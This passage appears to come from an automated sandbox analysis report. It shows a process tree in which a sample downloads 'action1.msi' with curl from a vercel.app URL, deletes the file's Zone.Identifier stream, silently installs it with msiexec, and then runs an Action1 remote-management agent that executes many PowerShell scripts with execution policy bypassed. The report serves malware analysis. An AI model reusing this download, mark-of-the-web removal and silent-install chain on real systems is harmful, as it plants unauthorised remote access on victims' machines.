      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6676,i,12872200153707978263,8093532591221851227,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:8
      4⤵
      PID:6048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4332,i,2423078819748196298,15511761560052972445,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:8
      4⤵
      PID:5620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4596,i,14095201488224547831,12724309649870347335,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:8
      4⤵
      PID:5636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4556,i,16266339486829617450,10752370864199995749,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6512 /prefetch:8
      4⤵
      PID:5644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5228,i,651874818725062211,11828207694206741080,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:8
      4⤵
      PID:5712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5216,i,5225601353449115043,15847028162219850014,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6012 /prefetch:8
      4⤵
      PID:5128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5212,i,1981743961009575693,13777583381161080642,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:8
      4⤵
      PID:5056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,14904312716151560829,4414843558542612741,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6752 /prefetch:8
      4⤵
      PID:3820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,1039141217840173448,13394060874764391229,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:8
      4⤵
      PID:3820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5376,i,8801531480494298753,1723456367141608890,262144 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5692,i,1598112004226025779,16538509136014323264,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:8
      4⤵
      PID:4812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5536,i,12593378147787142387,17065743384502293343,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:8
      4⤵
      PID:1680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3376,i,11990199732587506983,1150737846558801309,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:8
      4⤵
      PID:3612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6952,i,1457399094912239625,10844317825004564437,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:8
      4⤵
      PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7028,i,14031293064465403719,9148622678427202394,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=4044 /prefetch:8
      4⤵
      PID:5528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,5757410087999327703,3515263327023128707,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:8
      4⤵
      PID:2748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6888,i,9634575140630847659,11545172508271639126,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:8
      4⤵
      PID:772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4040,i,17270720748945487153,13318573533174172255,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=1008 /prefetch:8
      4⤵
      PID:5776
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:776
- C:\Windows\SysWOW64\curl.exe
  "C:\Windows\System32\curl.exe" --silent --location --fail --output "C:\Users\Admin\AppData\Local\Temp\action1.msi" "https://stub-mu.vercel.app/action1.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\action1.msi:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5196
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3364
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /package "C:\Users\Admin\AppData\Local\Temp\action1.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5308

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:760

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5340
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 8B2B4B7133530522EB616BC7DE260A66
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5520
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CC42EE97CD4B5C9EEDAC7FB0B5E4C7E3 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5668

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:6028
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2532
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3804
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4816
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5096
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Sound Devices_2038-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2696
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1584
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4432
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4336
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2044
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5660
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4952
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5584
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2292
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5580
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1789648244.ps1"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1789648244.ps1"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:5260
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:1420
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:6140
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:5060
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5028
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:3812
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:1984
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:3736
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.96
    3⤵
    PID:396
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 132.196.74.209
    3⤵
    PID:5692
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:5512
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.96
    3⤵
    PID:5680
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:1420
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 130.213.27.179
    3⤵
    PID:1708
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:2972
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.69
    3⤵
    PID:4772
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:4044
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:5284
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:2932
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.212
    3⤵
    PID:4828
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.210
    3⤵
    PID:5100
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.109.216
    3⤵
    PID:3372
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:1552
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:3124
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.133
    3⤵
    PID:4728
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.184.231.67
    3⤵
    PID:4036
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 135.233.95.144
    3⤵
    PID:2844
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 135.233.95.144
    3⤵
    PID:1736
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 135.233.95.144
    3⤵
    PID:2128
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 135.233.95.144
    3⤵
    PID:5632
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.41.75.35
    3⤵
    PID:5620
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 104.18.38.233
    3⤵
    PID:436
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.64.149.23
    3⤵
    PID:5028
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:3988
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 64.29.17.195
    3⤵
    PID:5568
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.217.119.4
    3⤵
    PID:1900
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.28.11
    3⤵
    PID:3600
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.27.11
    3⤵
    PID:1764
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:3248
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.140.94
    3⤵
    PID:2596
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:5472
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.69
    3⤵
    PID:3048
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.69
    3⤵
    PID:1672
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:208
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:3260
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 92.223.124.62
    3⤵
    PID:5860
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4104
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:440
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:1460
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1789648244.ps1"
